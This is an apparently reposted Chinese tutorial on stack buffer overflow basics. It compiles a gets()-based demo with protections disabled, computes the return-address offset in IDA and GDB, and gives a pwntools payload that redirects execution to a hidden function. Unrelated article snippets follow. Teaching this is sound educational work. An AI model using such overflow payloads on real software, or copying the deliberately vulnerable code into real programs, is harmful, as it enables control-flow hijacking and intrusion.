c++堆栈溢出怎么解决_栈溢出基础

97e77ffc8fd5bd57bdc3116fc63fd2a7.png

一. 基础知识

    • 什么是缓冲区溢出
      • 在深入探讨技术之前, 让我们先了解一下缓冲区溢出的实际内容.想象一个非常简单的程序, 要求你输入你的用户名, 然后返回到它在做什么.从视觉上看, 如下所示

ee2ca5298de40fb9bd50cdcd0df2a07e.png
      • 注意到括号之间的空格是输入用户名的预期空间.那个空间是我们的缓冲.处理用户名后, 返回地址将告知程序需要执行的下一个指令.现在, 如果我们不仅输入用户名, 而且添加其他数据以溢出此缓冲区空间, 会发生什么情况?
      • 不仅如此, 我们键入的是一些 shellcode(一系列计算机指令, 通过示例给我们提供远程 shell), 一些虚拟数据和该 shellcode 的地址, 而不只是键入名字, 而是键入一些 shellcode.程序将遵循我们覆盖的 shellcode 地址而不是正常的返回地址, 而是执行我们的 shellcode, 而不是返回到预期的指令.这是缓冲区溢出攻击.

23ef27968898b575ac2a7baa754f25a6.png
    • 函数调用栈在内存中从高地址向低地址生长
    • 函数状态主要涉及三个寄存器EBP, ESP, EIP
      • EBP : 用来存储当前函数状态的基地址, 在函数运行时不变, 可以用来索引确定函数参数或局部变量的位置
      • ESP : 用来存储函数调用栈的栈顶地址, 在压栈和退栈时发生变化
      • EIP : 用来存储即将执行的程序指令的地址, cpu 依照 EIP 的存储内容读取指令并执行, EIP 随之指向相邻的下一条指令
    • 二进制, 十进制, 十六进制表示
      • 二进制 : 101010110B
      • 十进制 : 100
      • 十六进制 : 4E20H, 4e20h, 0x4E20, 0x4e20
    • 小端字节序, 大端字节序
      • 举例来说, 数值0x2211使用两个字节储存:高位字节是0x22, 低位字节是0x11
        • 小端字节序:低位字节在前, 高位字节在后, 即以0x1122形式储存
        • 大端字节序:高位字节在前, 低位字节在后, 即以0x2211形式储存, 这是人类读写数值的方法

ef9d93ebaf51d74003bfb9dcf7f65dd1.png
        • 一般操作系统都是小端, 而通讯协议是大端的

二. 栈溢出基本原理

  • 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变
  • 发生栈溢出的基本前提是
    • 程序必须向栈上写入数据
    • 写入的数据大小没有被良好地控制
    • 当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击

三. 栈溢出 Demo 讲解

  • demo 代码
#include <stdio.h>
#include <string.h>void pwn() 
{ puts("Stack Overflow!"); 
}void vulnerable() 
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv) 
{vulnerable();return 0;
}
  • 代码解释
    • 函数pwn()
      • 正常执行代码时, 该函数不会被调用, 在之后的内容中我们会通过栈溢出调用该函数
      • 功能为打印Stack Overflow!
    • 函数vulnerable()
      • 正常执行代码时, 函数被调用
      • 功能为获取用户输入然后打印
  1. 编译该c文件 : gcc -m32 -fno-stack-protector stack_test.c -o stack_test
  • gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie

2. 使用IDA进行静态汇编代码分析

  • IDA 下载地址 : https://pan.baidu.com/s/1h0pt4SNylRYH4P4dMviKAQ 提取: rfqm
    • 使用IDA打开该ELF文件(即生成的stack_test文件)
    • F5, 点击左侧的vulnerable()函数, 查看伪代码
int vulnerable()
{char s; // [esp+4h] [ebp-14h]gets(&s);return puts(&s);
}
  • 由此得到
    • 变量s的地址 = EBP的地址 - 14h
  • 由于C语言标准库的 gets() 函数并未限制输入数据长度的漏洞, 从而可以实现了栈溢出, 而其参数s距离EBP的偏移地址为14h
    • 点击查看我们需要溢出至调用的目标函数pwn(),记下它的地址0x0804843B

f45e335135431a77d3e26ff57b33d3b0.png

3. 计算偏移地址

1b41cadc8f099b76ac0dd8616b6ade8f.png
  • 目的: 将被调用函数的返回地址, 通过改变可控变量的值, 替换为我们指定的地址
    • 通过指定变量s的值, 使得被调用函数的返回地址, 变为pwn函数的地址
  • 被调用函数的返回地址 = EBP的地址 + 4h
    • 4h为EBP大小
    • x86-32, 所有主寄存器(包括EBP)的大小都是32位,在堆栈上占4个字节
    • vulnerable函数的返回地址 = EBP的地址 + 4h = (变量s的地址 + 14h) + 4h = 变量s的地址 + 18h
      • 通过IDA可知 EBP的地址 = 变量s的地址 + 14h
    • 所以只需要指定s变量为任意18h个字符和pwn函数地址组成的字符串即可

四. 编写payload

  • 在下面payload中,前面14h个字节码用“a”覆盖,将EBP覆盖为“aaaa”,最后插入小端存储形式的pwn()函数地址
from pwn import process, flat, p32sh = process("./stack_test")
pwn_function_address = 0x0804843B
payload = flat(['a' * 0x18, p32(pwn_function_address)])
sh.sendline(payload)
print (sh.recvall())
  • from pwn import *
    • python2: pip install pwn
    • python3: pip3 install git+https://github.com/arthaud/python3-pwntools.git
  • sh = process("./stack_test")
    • 开启进程执行stack_test
  • pwn_function_address = 0x0804843B
    • pwn函数的地址
  • payload = flat(['a' * 0x18, p32(pwn_function_address)])
    • ['a' * 0x18, p32(pwn_function_address)]
      • 0x14 == 20
      • p32: 将传入的数转为小端字节序返回
      • 返回结果: ['aaaaaaaaaaaaaaaaaaaaaaaa', b'x3Bx84x04x08']
    • flat(['aaaaaaaaaaaaaaaaaaaaaaaa', b'x3Bx84x04x08'])
      • flat: 将传入参数合并为一个字符串
      • 返回结果: b'aaaaaaaaaaaaaaaaaaaaaaaax3Bx84x04x08'
  • sh.sendline(payload)
    • 向进程发送数据
  • print (sh.recvall())
    • 打印进程返回的数据
  • 效果图

f8f7edfe918ce57ab2691a3a1c477c86.png

五. GDB计算偏移地址

其实由IDA分析可以知道, 参数s距离EBP的偏移地址为14h. 但是有时候并不能完全相信IDA计算出来的偏移, 最为准确的是用GDB打断点调试出来, 下面介绍两种GDB方法.
  • GDB 配置
    • 安装peda
      • git clone https://github.com/longld/peda.git ~/peda
      • echo "source ~/peda/peda.py" >> ~/.gdbinit
      • 更改peda默认颜色: 修改peda颜色 - twfb - 博客园
  • GDB 基础
    • b: 添加断点
    • r: 执行程序
    • c: 继续执行
    • info break: 查看断点
    • del 1: 删除第一个断点

1. GDB断点调试获取

  • 执行gdb stack_test
    • b vulnerable
    • r
    • 效果图

a6744a9c95d6050daafafd087f17081c.png
      • b *0x8048466
        • 找到调用gets后的地址为0x8048466, 在此处打断点, 查看调用gets后的状况
      • c
      • 输入任意值
      • 效果图

23c89083793ca5ba85600ba8a52da547.png
      • 由上步可以得到变量地址为0xffffd664, EBP地址为0xffffd678
        • 0xffffd664 = 0xffffd678 - 0x14

2. 使用GDB pattern字符串溢出计算偏移量

  • 执行gdb stack_test
    • pattern_create 200
      • 复制生成的字符串
    • r
    • 粘贴
    • 效果图

b199d1420cd65331dcd0811a59de2e6b.png
    • 复制EIP的地址
    • pattern_offset 0x44414128
      • 返回信息 1145127208 found at offset: 24
      • 24 = 18h = vulnerable函数的返回地址 - 变量s的地址

六. 小结

总体而言主要分为两个步骤, 先是找到危险函数确定存在栈溢出漏洞, 然后就是通过调试分析计算出栈溢出攻击利用需要溢出的偏移量, 最后就通过覆盖地址的方法来直接或者间接地控制程序执行流程

1. 寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
  • 输入
    • gets,直接读取一行,忽略x00
      • scanf
      • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到x00停止
    • strcat,字符串拼接,遇到x00停止
    • bcopy

2. 确定填充长度

计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移
  • 一般变量会有以下几种索引模式

1. 相对于栈基地址的的索引, 可以直接通过查看 EBP 相对偏移获得

2. 相对应栈顶指针的索引, 一般需要进行调试, 之后还是会转换到第一种类型

3. 直接地址索引, 就相当于直接给定了地址

  • 一般来说,我们会有如下的覆盖需求

1. 覆盖函数返回地址,这时候就是直接看 EBP即可

2. 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了

3. 覆盖 bss 段某个变量的内容

4. 根据现实执行情况,覆盖特定的变量或地址的内容

  • 参考链接:
    • Buffer Overflow introduction
    • 理解字节序 - 阮一峰的网络日志
    • 栈溢出基本原理
    • 手把手教你栈溢出从入门到放弃(上)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/567747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

object detection训练自己数据

1、用labelImg标自己数据集。 并将图片存放在JPEGImages中&#xff0c;xml存放在Annotations中 2、分离训练和测试数据 import os import randomtrainval_percent 0.66 train_percent 0.5 xmlfilepath Annotations txtsavepath ImageSets\Main total_xml os.listdir(xml…

苹果怎样用小米云服务器,苹果换华为/小米,怎么同步数据?教程来了!

原标题&#xff1a;苹果换华为/小米&#xff0c;怎么同步数据&#xff1f;教程来了&#xff01;由于系统不同&#xff0c;iOS和Android之间数据迁移一直都是跨平台换机用户的“绊脚石”。而且iOS是封闭系统&#xff0c;不像Android那么开源。尽管市面上的App基本都支持两大系统…

python中变量和函数的区别_python中带下划线的变量和函数的意义

Python 的代码风格由 PEP 8 描述。这个文档描述了 Python 编程风格的方方面面。在遵守这个文档的条件下&#xff0c;不同程序员编写的 Python 代码可以保持最大程度的相似风格。这样就易于阅读&#xff0c;易于在程序员之间交流。 1 变量 常量 : 大写加下划线1 USER_CONSTANT 对…

github搜索技巧_和逛知乎、刷微博一样高效使用 GitHub

自打毕业之后&#xff0c;可以说每天打开 Github 或Email 看有没有 watch 项目的消息或者自己项目的 issue&#xff0c;然后在Explore 看看社区内项目的走势&#xff0c;紧接着开始写代码搬砖的工作&#xff0c;偶尔也会关注下 Github 的 Blog, 看看有没有大新闻&#xff0c;亦…

方舟服务器维护驯龙,方舟生存进化新手图文攻略 最详细的驯龙教程方法

《方舟&#xff1a;生存进化》很多新手玩家不知道前期如何生存&#xff0c;不知道有什么技巧&#xff0c;下面小编就为大家带来方舟生存进化的图文攻略&#xff0c;也就是新手图文攻略教程&#xff0c;希望对想要接触或这刚刚接触这款游戏的玩家有所帮助。首先&#xff0c;进入…

服务器ios文件,ios 文件到服务器

ios 文件到服务器 内容精选换一换安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具&#xff0c;将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具&#xff0c;将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使…

python二维图颜色函数_Python绘图之二维图与三维图详解

各位工程师累了吗? 推荐一篇可以让你技术能力达到出神入化的网站"持久男" 1.二维绘图 a. 一维数据集 用 Numpy ndarray 作为数据传入 ply 1. import numpy as np import matplotlib as mpl import matplotlib.pyplot as plt np.random.seed(1000) y np.random.stan…

Windows10配置CUDA10.0+cudnn7.5.1

1、安装CUDA10.0 &#xff08;1&#xff09;下载&#xff1a;https://developer.nvidia.com/cuda-10.0-download-archive?target_osWindows&target_archx86_64&target_version10&target_typeexelocal 双击安装包进行安装&#xff0c;路径全部默认不做修改 &#…

金蝶云系统服务器,金蝶系统云服务器已离线

金蝶系统云服务器已离线 内容精选换一换本节操作介绍在Windows和Linux环境中使用SSH密码方式远程登录Linux云耀云服务器的操作步骤。云耀云服务器状态为“运行中”。云耀云服务器已经绑定弹性公网IP。所在安全组入方向已开放22端口&#xff0c;配置方式请参见配置安全组规则。使…

python 并列条形图_python – 来自两个pandas数据框的分组条形图

我有两个包含不同值但结构相同的数据框&#xff1a; df1 0 1 2 3 4 D 0.003073 0.014888 0.155815 0.826224 NaN E 0.000568 0.000435 0.000967 0.002956 0.067249 df2 0 1 2 3 4 D 0.746689 0.185769 0.060107 0.007435 NaN E 0.764552 0.000000 0.070288 0.101148 0.053499…

径向基神经网络_谷歌开源Neural Tangents:5行代码打造无限宽神经网络模型,帮助“打开ML黑匣子”...

鱼羊 假装发自 凹非寺量子位 报道 | 公众号 QbitAI只要网络足够宽&#xff0c;深度学习动态就能大大简化&#xff0c;并且更易于理解。最近的许多研究结果表明&#xff0c;无限宽度的DNN会收敛成一类更为简单的模型&#xff0c;称为高斯过程&#xff08;Gaussian processes&…

佳能g2800清零软件天空_可能是史上最有趣的3D建模软件

今天咱们要讲的不是一款BIM软件&#xff0c;而是一款有趣的3D体素建模软件。体素英文名叫Voxel&#xff0c;是把像素风格中的小方块引申到三维空间里&#xff0c;让图像呈现一小块一小块的鲜明风格。比如《我的世界》和最近非常火的《纪念碑谷2》就是这样的风格。这款软件叫做M…

springcloud feign 服务调用其他服务_微服务实战——SpringCloud与Feign集成

上一篇集成了ZuulGateway和Eureka并进行了测试。在实际场景中&#xff0c;我们肯定会有很多的微服务&#xff0c;而他们之间可能会存在相互调用的关系&#xff0c;那么&#xff0c;如何优雅的处理服务之间的调用问题呢&#xff1f;接下来就是我们要解决的。简单的说下FeignFeig…

Python中赋值,深拷贝和浅拷贝

1python变量 变量的存储&#xff0c;采用了引用语义的方式&#xff0c;存储的只是一个变量的值所在的内存地址&#xff0c;而不是这个变量的值本身。 2赋值 python变量赋值实际上是对象的引用。 如&#xff1a; list_a [1,2,3,"hello",["python",&qu…

excel进度条与百分比不符_Excel项目管理模板V2.0

Excel表哥公众号推送的第一篇文章 如何用Excel制作一个高逼格的项目管理模板 累积获得了超多的下载量。下面是和读者朋友的一些交流互动&#xff1a;在使用过程中大家陆续也反馈了一些问题和建议。因此我们推出了项目管理模板V2.0 升级版&#xff01;算作是给读者朋友们的一个答…

python 格式化输出%和format

1 %用法 1.1整数的输出 %o —— oct 八进制 %d —— dec 十进制 %x —— hex 十六进制 print(%o % 20) #24 print(%d % 20) #20 print(%x % 20) #141.2浮点数输出 %f ——默认保留小数点后面六位有效数字   %.3f&#xff0c;保留3位小数位 %e ——默认保留小数点后面六…

linux系统中安装python_2. Linux 下安装python

Linux 各个版本的系统都自带python解释器&#xff0c;可以在shell界面输入 python 就能进入交互界面&#xff0c;并显示python版本信息&#xff1b; 现在最流行的版本是python2.7&#xff0c;Centos6 默认安装2.6.6的版本&#xff0c;Centos7 默认安装2.7.* 的版本。 如果Cento…

访问修饰符作用范围由大到小是_9个java基础小知识

一、面向对象和面向过程的区别1. 面向过程 &#xff1a; 面向过程性能比面向对象高。因为类调用时需要实例化&#xff0c;开销比较大&#xff0c;比较消耗资源&#xff0c;所以当性能是最重要的考虑因素时&#xff08;例如单片机、嵌入式开发、Linux/Unix等一般采用面向过程开发…

白盒测试用例设计方法(语句覆盖、判定覆盖、条件覆盖、判定/条件覆盖、组合覆盖、路径覆盖、基本路径覆盖)

语句覆盖&#xff1a;每条语句至少执行一次。 判定覆盖&#xff1a;每个判定的所有可能结果至少出现一次。&#xff08;又称“分支覆盖”&#xff09; 条件覆盖&#xff1a;每个条件的所有可能结果至少执行一次。 判定/条件覆盖&#xff1a;一个判定中的每个条件的所有可能结果…

Python之列表和元组

01 序列 成员有序排列的&#xff0c;且可以通过下标偏移量访问到它的一个或者几个成员&#xff0c;这类类型统称为序列 序列数据类型包括:字符串,列表,和元组类型。 特点: 都支持下面的特性 索引与切片操作符 成员关系操作符(in , not in) 连接操作符() & 重复操作符(*) 0…